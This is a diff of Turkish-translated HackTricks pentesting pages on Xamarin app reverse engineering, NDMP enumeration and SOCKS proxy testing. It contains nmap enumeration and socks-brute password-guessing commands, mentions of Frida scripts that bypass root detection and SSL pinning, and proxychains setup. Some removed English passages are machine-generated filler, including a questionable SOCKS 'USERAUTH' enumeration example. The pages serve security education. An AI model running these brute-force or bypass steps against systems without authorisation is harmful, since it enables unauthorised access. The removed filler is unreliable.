- **iOS** için, uygulamalar Mono çalışma zamanı altında çalışır ve C# .NET kodunu ARM derlemesine dönüştürmek için tam Önce Derleme (AOT) derlemesini kullanır. Bu işlem, UNIX benzeri bir çekirdek üzerinde Objective-C Runtime ile birlikte çalışır.
|
||||
- **Android** için, Xamarin, .NET bağlamaları aracılığıyla Android ve Java ad alanlarıyla entegre olur ve Mono yürütme ortamında Android Runtime (ART) ile birlikte çalışır. Managed Callable Wrappers (MCW) ve Android Callable Wrappers (ACW), Mono ve ART arasında iletişimi kolaylaştırır; her ikisi de Linux çekirdeği üzerine inşa edilmiştir.
|
||||
- **iOS** için, uygulamalar Mono çalışma zamanı altında çalışır ve C# .NET kodunu ARM montaj diline dönüştürmek için tam Ahead of Time (AOT) derlemesi kullanır. Bu süreç, UNIX benzeri bir çekirdek üzerinde Objective-C Runtime ile birlikte çalışır.
|
||||
|
||||
### .NET Runtime ve Mono Framework
|
||||
|
||||
**.NET çerçevesi**, uygulama geliştirme için derlemeleri, sınıfları ve ad alanlarını içerir ve kod yürütmesini yöneten .NET Runtime'ı sunar. Platform bağımsızlığı ve geriye dönük uyumluluk sunar. **Mono Framework**, .NET çerçevesinin açık kaynaklı bir sürümü olup, 2005 yılında .NET'i Linux'a genişletmek için başlatılmıştır ve şu anda Microsoft tarafından desteklenmekte ve Xamarin tarafından yönetilmektedir.
|
||||
**.NET framework**, uygulama geliştirme için derlemeler, sınıflar ve ad alanları içerir ve .NET Runtime, kod yürütmesini yönetir. Platform bağımsızlığı ve geriye dönük uyumluluk sunar. **Mono Framework**, 2005 yılında .NET'i Linux'a genişletmek amacıyla başlatılan açık kaynak bir .NET framework versiyonudur ve şu anda Microsoft tarafından desteklenmekte ve Xamarin tarafından yönetilmektedir.
|
||||
|
||||
### Xamarin Uygulamalarının Tersine Mühendisliği
|
||||
|
||||
#### Xamarin Derlemelerinin Dekompilasyonu
|
||||
#### Xamarin Derlemelerinin Değiştirilmesi
|
||||
|
||||
Dekompilasyon, derlenmiş kodu tekrar kaynak koduna dönüştürür. Windows'ta, Visual Studio'daki Modüller penceresi, dekompilasyon için modülleri tanımlayabilir, üçüncü taraf koduna doğrudan erişim sağlayabilir ve analiz için kaynak kodunu çıkarabilir.
|
||||
Değiştirme, derlenmiş kodu tekrar kaynak koda dönüştürür. Windows'ta, Visual Studio'daki Modüller penceresi, değiştirme için modülleri tanımlayabilir ve üçüncü taraf koda doğrudan erişim sağlayarak analiz için kaynak kodunu çıkarmaya olanak tanır.
|
||||
|
||||
#### JIT ve AOT Derlemesi
|
||||
#### JIT vs AOT Derlemesi
|
||||
|
||||
- **Android**, Just-In-Time (JIT) ve Ahead-Of-Time (AOT) derlemesini destekler ve en iyi yürütme hızı için Hibrit AOT moduna sahiptir. Tam AOT, Yönetici lisanslarına özeldir.
|
||||
- **iOS**, Apple'ın dinamik kod yürütme üzerindeki kısıtlamaları nedeniyle yalnızca AOT derlemesini kullanır.
|
||||
- **Android**, Just-In-Time (JIT) ve Ahead-Of-Time (AOT) derlemesini destekler ve optimal yürütme hızı için Hibrit AOT moduna sahiptir. Tam AOT, yalnızca Kurumsal lisanslara özeldir.
|
||||
- **iOS**, Apple'ın dinamik kod yürütme üzerindeki kısıtlamaları nedeniyle yalnızca AOT derlemesi kullanır.
|
||||
|
||||
### APK/IPA Dosyalarından dll Dosyalarını Çıkarma
|
||||
### APK/IPA'dan dll Dosyalarını Çıkarma
|
||||
|
||||
APK/IPA dosyalarındaki derlemelere erişmek için dosyayı açın ve derlemeler dizinini keşfedin. Android için, [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) ve [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) gibi araçlar dll dosyalarını sıkıştırılmış halden çözebilir.
|
||||
APK/IPA'daki derlemelere erişmek için dosyayı açın ve derlemeler dizinini keşfedin. Android için, [XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ) ve [xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress) gibi araçlar dll dosyalarını açabilir.
|
||||
```bash
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
Android'deki derleme blokları için, [pyxamstore](https://github.com/jakev/pyxamstore) onları açabilir.
|
||||
Android'daki assembly blob'ları için, [pyxamstore](https://github.com/jakev/pyxamstore) bunları açabilir.
|
||||
```bash
|
||||
pyxamstore unpack -d /path/to/decompressed/apk/assemblies/
|
||||
```
|
||||
iOS dll dosyaları deşifre edilmek için kolayca erişilebilir ve genellikle farklı platformlar arasında ortak bir temel paylaşan uygulama kodunun önemli bölümlerini ortaya çıkarır.
|
||||
iOS dll dosyaları, uygulama kodunun önemli kısımlarını ortaya çıkararak dekompilasyon için kolayca erişilebilir durumdadır; bu kod genellikle farklı platformlar arasında ortak bir temel paylaşır.
|
||||
|
||||
### Dinamik Analiz
|
||||
|
||||
Dinamik analiz, SSL pinning kontrolü yapmayı ve Xamarin uygulamalarındaki .NET ikili dosyasının çalışma zamanı değişiklikleri için [Fridax](https://github.com/NorthwaveSecurity/fridax) gibi araçları kullanmayı içerir. Frida betikleri, kök tespitini veya SSL pinning'i atlamak için kullanılabilir ve analiz yeteneklerini artırır.
|
||||
Dinamik analiz, SSL pinning kontrolü yapmayı ve Xamarin uygulamalarındaki .NET ikili dosyalarının çalışma zamanı değişiklikleri için [Fridax](https://github.com/NorthwaveSecurity/fridax) gibi araçlar kullanmayı içerir. Root tespiti veya SSL pinning'i atlatmak için Frida betikleri mevcuttur ve bu, analiz yeteneklerini artırır.
|
||||
|
||||
Diğer ilginç Frida betikleri:
|
||||
|
||||
|
@ -67,16 +68,17 @@ Diğer ilginç Frida betikleri:
|
|||
* [https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers](https://www.appknox.com/security/xamarin-reverse-engineering-a-guide-for-penetration-testers)
|
||||
* [https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/](https://thecobraden.com/posts/unpacking\_xamarin\_assembly\_stores/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.**
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,54 +1,31 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# **Protokol Bilgisi**
|
||||
|
||||
[Wikipedia](https://en.wikipedia.org/wiki/NDMP)'dan alınan bilgilere göre:
|
||||
From [Wikipedia](https://en.wikipedia.org/wiki/NDMP):
|
||||
|
||||
> **NDMP** veya **Network Data Management Protocol**, ağa bağlı depolama \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) cihazları ve [yedekleme](https://en.wikipedia.org/wiki/Backup) cihazları arasında veri taşımak için kullanılan bir protokoldür. Bu, verinin yedekleme sunucusu üzerinden taşınma ihtiyacını ortadan kaldırarak hızı artırır ve yedekleme sunucusundan yükü kaldırır.
|
||||
> **NDMP**, veya **Ağ Veri Yönetim Protokolü**, ağ bağlı depolama \([NAS](https://en.wikipedia.org/wiki/Network-attached_storage)\) cihazları ile [yedekleme](https://en.wikipedia.org/wiki/Backup) cihazları arasında veri taşımak için tasarlanmış bir protokoldür. Bu, verilerin yedekleme sunucusu aracılığıyla taşınmasına olan ihtiyacı ortadan kaldırarak hızı artırır ve yedekleme sunucusundaki yükü azaltır.
|
||||
|
||||
**Varsayılan port:** 10000
|
||||
```text
|
||||
PORT STATE SERVICE REASON VERSION
|
||||
10000/tcp open ndmp syn-ack Symantec/Veritas Backup Exec ndmp
|
||||
```
|
||||
# **Saptama**
|
||||
|
||||
---
|
||||
|
||||
## **NDMP (Network Data Management Protocol)**
|
||||
|
||||
NDMP, ağ üzerinden veri yönetimi için kullanılan bir protokoldür. Bu protokol, yedekleme, geri yükleme ve veri taşıma gibi işlemleri gerçekleştirmek için kullanılır. NDMP, bir sunucu ve bir veya daha fazla veri depolama cihazı arasında iletişim kurar.
|
||||
|
||||
NDMP hedeflerini belirlemek için aşağıdaki adımları izleyebilirsiniz:
|
||||
|
||||
1. **Port Taraması**: NDMP'nin varsayılan olarak kullandığı portlar 10000 ve 10001'dir. Bu portları taramak için bir port tarama aracı kullanabilirsiniz.
|
||||
|
||||
2. **Banner Grabbing**: NDMP sunucusuna bağlanarak banner bilgilerini alabilirsiniz. Bu bilgiler, sunucunun işletim sistemini ve sürümünü ortaya çıkarabilir.
|
||||
|
||||
3. **Servis Keşfi**: NDMP sunucusunun hedef sistemde çalışıp çalışmadığını doğrulamak için servis keşfi yapabilirsiniz. Bu, NDMP sunucusuna bağlanarak yanıt alıp almadığını kontrol etmek anlamına gelir.
|
||||
|
||||
4. **Zayıf Şifre Denemeleri**: NDMP sunucusuna zayıf şifrelerle deneme yapabilirsiniz. Bu, varsayılan veya yaygın kullanılan şifreleri denemek veya şifre kırma araçları kullanmak anlamına gelebilir.
|
||||
|
||||
5. **Sürüm Tespiti**: NDMP sunucusunun sürümünü tespit etmek için farklı yöntemler kullanabilirsiniz. Bu bilgi, sunucunun güvenlik açıklarını belirlemek için kullanılabilir.
|
||||
|
||||
---
|
||||
|
||||
## **Kaynaklar**
|
||||
|
||||
- [NDMP - Wikipedia](https://en.wikipedia.org/wiki/Network_Data_Management_Protocol)
|
||||
# **Numaralandırma**
|
||||
```bash
|
||||
nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are default scripts
|
||||
```
|
||||
|
@ -58,16 +35,17 @@ nmap -n -sV --script "ndmp-fs-info or ndmp-version" -p 10000 <IP> #Both are defa
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,130 +1,43 @@
|
|||
# 1080 - Socks Pentesting
|
||||
# 1080 - Pentesting Socks
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**SOCKS**, bir istemci ve sunucu arasında veri transferi için kullanılan bir protokoldür. Beşinci sürüm olan **SOCKS5**, yalnızca yetkili kullanıcıların sunucuya erişmesine izin veren isteğe bağlı bir kimlik doğrulama özelliği ekler. Temel olarak TCP bağlantılarının proxy'lenmesini ve UDP paketlerinin yönlendirilmesini işler ve OSI modelinin oturum katmanında (Katman 5) çalışır.
|
||||
**SOCKS**, bir istemci ile sunucu arasında veri aktarımı için bir proxy üzerinden kullanılan bir protokoldür. Beşinci versiyonu, **SOCKS5**, yalnızca yetkilendirilmiş kullanıcıların sunucuya erişmesine izin veren isteğe bağlı bir kimlik doğrulama özelliği ekler. Temelde TCP bağlantılarının proxy'lenmesi ve UDP paketlerinin iletilmesi ile ilgilenir ve OSI modelinin oturum katmanında (Katman 5) çalışır.
|
||||
|
||||
**Varsayılan Port:** 1080
|
||||
|
||||
## Numaralandırma
|
||||
## Sayım
|
||||
|
||||
### Kimlik Doğrulama Kontrolü
|
||||
```bash
|
||||
nmap -p 1080 <ip> --script socks-auth-info
|
||||
```
|
||||
### Brute Force
|
||||
|
||||
#### Temel kullanım
|
||||
|
||||
Brute Force saldırısı, bir hedefin şifresini veya kimlik doğrulama bilgilerini tahmin etmek için sürekli olarak farklı kombinasyonları denemek amacıyla kullanılan bir yöntemdir. Bu saldırı, genellikle oturum açma sayfaları veya kimlik doğrulama mekanizmaları gibi hedefin güvenlik önlemlerini aşmak için kullanılır.
|
||||
|
||||
Brute Force saldırısını gerçekleştirmek için, bir saldırgan genellikle bir kullanıcı adı ve şifre listesi kullanır. Ardından, bu listeyi hedef sistemdeki oturum açma sayfasına veya kimlik doğrulama mekanizmasına uygular. Saldırgan, doğru kullanıcı adı ve şifre kombinasyonunu bulana kadar farklı kombinasyonları denemeye devam eder.
|
||||
|
||||
Bu saldırı yöntemi, hedefin zayıf veya tahmin edilebilir bir şifre kullanması durumunda etkili olabilir. Ancak, güçlü şifreleme algoritmaları ve güvenlik önlemleri kullanıldığında Brute Force saldırıları daha zor hale gelir.
|
||||
```bash
|
||||
nmap --script socks-brute -p 1080 <ip>
|
||||
```
|
||||
#### Gelişmiş kullanım
|
||||
|
||||
In some cases, you may need to perform advanced tasks while using SOCKS proxies. Here are some techniques that can help you in such scenarios:
|
||||
|
||||
Bazı durumlarda, SOCKS proxy'leri kullanırken gelişmiş görevleri gerçekleştirmeniz gerekebilir. İşte böyle senaryolarda size yardımcı olabilecek bazı teknikler:
|
||||
|
||||
##### 1. Chaining SOCKS proxies
|
||||
|
||||
##### 1. SOCKS proxy zincirleme
|
||||
|
||||
You can chain multiple SOCKS proxies together to increase your anonymity and bypass certain restrictions. To do this, you need to configure each proxy to forward traffic to the next proxy in the chain. This can be done by specifying the next proxy's IP address and port in the configuration settings of each proxy.
|
||||
|
||||
Anonimliğinizi artırmak ve belirli kısıtlamaları aşmak için birden fazla SOCKS proxy'yi bir araya getirebilirsiniz. Bunun için her bir proxy'i zincirdeki bir sonraki proxy'e trafiği iletmek üzere yapılandırmanız gerekmektedir. Bu, her bir proxy'nin yapılandırma ayarlarında bir sonraki proxy'nin IP adresini ve portunu belirterek yapılabilir.
|
||||
|
||||
##### 2. Using SOCKS proxies with other tools
|
||||
|
||||
##### 2. Diğer araçlarla SOCKS proxy'lerini kullanma
|
||||
|
||||
You can use SOCKS proxies with other tools to enhance your capabilities during a penetration test. For example, you can use a SOCKS proxy with tools like Nmap or Burp Suite to scan or intercept network traffic. To do this, you need to configure the tool to use the SOCKS proxy by specifying its IP address and port.
|
||||
|
||||
Bir penetrasyon testi sırasında yeteneklerinizi artırmak için SOCKS proxy'leri diğer araçlarla kullanabilirsiniz. Örneğin, Nmap veya Burp Suite gibi araçları SOCKS proxy ile kullanarak ağ trafiğini taramak veya onu araya girmek için kullanabilirsiniz. Bunun için, aracı SOCKS proxy'yi kullanacak şekilde yapılandırmanız gerekmektedir. Bu, SOCKS proxy'nin IP adresini ve portunu belirterek yapılabilir.
|
||||
|
||||
##### 3. Authenticating SOCKS proxies
|
||||
|
||||
##### 3. SOCKS proxy'lerini kimlik doğrulama
|
||||
|
||||
Some SOCKS proxies support authentication to provide an additional layer of security. If you are using an authenticated SOCKS proxy, you need to provide the correct username and password in the proxy configuration settings. This ensures that only authorized users can access the proxy.
|
||||
|
||||
Bazı SOCKS proxy'leri, ek bir güvenlik katmanı sağlamak için kimlik doğrulamayı destekler. Eğer kimlik doğrulamalı bir SOCKS proxy kullanıyorsanız, proxy yapılandırma ayarlarında doğru kullanıcı adı ve şifreyi sağlamanız gerekmektedir. Bu, yalnızca yetkili kullanıcıların proxy'ye erişebileceğini sağlar.
|
||||
|
||||
By using these advanced techniques, you can maximize the benefits of SOCKS proxies and improve your penetration testing capabilities.
|
||||
|
||||
Bu gelişmiş teknikleri kullanarak, SOCKS proxy'lerin faydalarını maksimize edebilir ve penetrasyon testi yeteneklerinizi geliştirebilirsiniz.
|
||||
```bash
|
||||
nmap --script socks-brute --script-args userdb=users.txt,passdb=rockyou.txt,unpwdb.timelimit=30m -p 1080 <ip>
|
||||
```
|
||||
# Pentesting SOCKS
|
||||
|
||||
## Introduction
|
||||
|
||||
SOCKS (Socket Secure) is a protocol that allows a client to establish a connection through a proxy server. It is commonly used for bypassing network restrictions and anonymizing internet traffic. In this section, we will explore various techniques for pentesting SOCKS servers.
|
||||
|
||||
## Enumeration
|
||||
|
||||
### Version Detection
|
||||
|
||||
To determine the version of the SOCKS server, we can send a `SOCKS5` handshake request and analyze the response. The server will reply with its supported version and authentication methods.
|
||||
|
||||
```bash
|
||||
$ nc -v <target_ip> <target_port>
|
||||
> 05 01 00
|
||||
< 05 00
|
||||
```
|
||||
|
||||
If the server responds with `05 00`, it indicates that it supports `SOCKS5` without authentication.
|
||||
|
||||
### User Enumeration
|
||||
|
||||
To enumerate valid usernames on a SOCKS server, we can use the `USERAUTH` command. By sending a `USERAUTH` request with a specific username, we can determine if the username is valid or not.
|
||||
|
||||
```bash
|
||||
$ nc -v <target_ip> <target_port>
|
||||
> 05 01 00
|
||||
< 05 00
|
||||
> 01 03 61 64 6d 69 6e 00
|
||||
< 01 00
|
||||
```
|
||||
|
||||
In the above example, we send a `USERAUTH` request with the username `admin`. If the server responds with `01 00`, it means that the username is valid.
|
||||
|
||||
## Exploitation
|
||||
|
||||
### Proxy Chaining
|
||||
|
||||
Proxy chaining involves using multiple SOCKS servers in a chain to route traffic through different proxies. This technique can be used to bypass network restrictions and increase anonymity.
|
||||
|
||||
To set up proxy chaining, we need to configure each SOCKS server to forward traffic to the next server in the chain. This can be done by modifying the server's configuration file or using a proxy chaining tool.
|
||||
|
||||
### Traffic Analysis
|
||||
|
||||
By analyzing the traffic between the client and the SOCKS server, we can gain valuable information about the network infrastructure and potential vulnerabilities. Tools like Wireshark can be used to capture and analyze network traffic.
|
||||
|
||||
### Authentication Bypass
|
||||
|
||||
If the SOCKS server requires authentication, we can attempt to bypass it by exploiting vulnerabilities in the authentication mechanism. Common techniques include brute-forcing weak passwords, exploiting default credentials, or leveraging authentication bypass vulnerabilities.
|
||||
|
||||
## Conclusion
|
||||
|
||||
Pentesting SOCKS servers involves enumerating server versions, enumerating valid usernames, exploiting proxy chaining, analyzing network traffic, and bypassing authentication. By understanding these techniques, we can effectively assess the security of SOCKS servers and identify potential vulnerabilities.
|
||||
#### Çıktı
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
1080/tcp open socks
|
||||
|
@ -138,60 +51,31 @@ PORT STATE SERVICE
|
|||
|
||||
### Temel proxychains kullanımı
|
||||
|
||||
Proxy zincirini ayarlayarak socks proxy kullanın
|
||||
Socks proxy kullanmak için proxy zincirlerini ayarlayın
|
||||
```
|
||||
nano /etc/proxychains4.conf
|
||||
```
|
||||
## SOCKS Proxy
|
||||
|
||||
A SOCKS proxy is a protocol that allows a client to establish a connection through a firewall to a server located on the other side of the firewall. It can be used to bypass network restrictions and access resources that are otherwise blocked.
|
||||
|
||||
### SOCKS Versions
|
||||
|
||||
There are several versions of the SOCKS protocol, with the most commonly used being SOCKS4 and SOCKS5.
|
||||
|
||||
#### SOCKS4
|
||||
|
||||
SOCKS4 is an older version of the protocol that only supports TCP connections. It does not support authentication, which means that anyone who can connect to the proxy can use it to access the internet.
|
||||
|
||||
#### SOCKS5
|
||||
|
||||
SOCKS5 is the latest version of the protocol and includes several improvements over SOCKS4. It supports both TCP and UDP connections and includes support for authentication. This means that the proxy can be configured to require a username and password before allowing connections.
|
||||
|
||||
### Setting Up a SOCKS Proxy
|
||||
|
||||
To set up a SOCKS proxy, you will need a server that supports the SOCKS protocol. There are several options available, including both free and paid services.
|
||||
|
||||
Once you have a server, you will need to configure your client to use the proxy. This can usually be done through the network settings or by using a proxy client.
|
||||
|
||||
### Using a SOCKS Proxy for Pentesting
|
||||
|
||||
A SOCKS proxy can be a useful tool for pentesting, as it allows you to route your traffic through a remote server. This can help to hide your identity and location, making it more difficult for defenders to detect and block your activities.
|
||||
|
||||
When using a SOCKS proxy for pentesting, it is important to ensure that the proxy is secure and trustworthy. Using an insecure or compromised proxy can expose your traffic to interception and manipulation.
|
||||
|
||||
### Conclusion
|
||||
|
||||
A SOCKS proxy is a powerful tool that can be used to bypass network restrictions and access resources that are otherwise blocked. It is important to use a secure and trustworthy proxy when using it for pentesting purposes.
|
||||
Aşağıyı düzenleyin ve proxy'nizi ekleyin.
|
||||
```
|
||||
socks5 10.10.10.10 1080
|
||||
```
|
||||
Kimlik doğrulama ile
|
||||
With auth -> Kimlik doğrulama ile
|
||||
```
|
||||
socks5 10.10.10.10 1080 username password
|
||||
```
|
||||
#### Daha fazla bilgi için: [Tünel Oluşturma ve Port Yönlendirme](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||
#### Daha fazla bilgi: [Tünelleme ve Port Yönlendirme](../generic-methodologies-and-resources/tunneling-and-port-forwarding.md)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
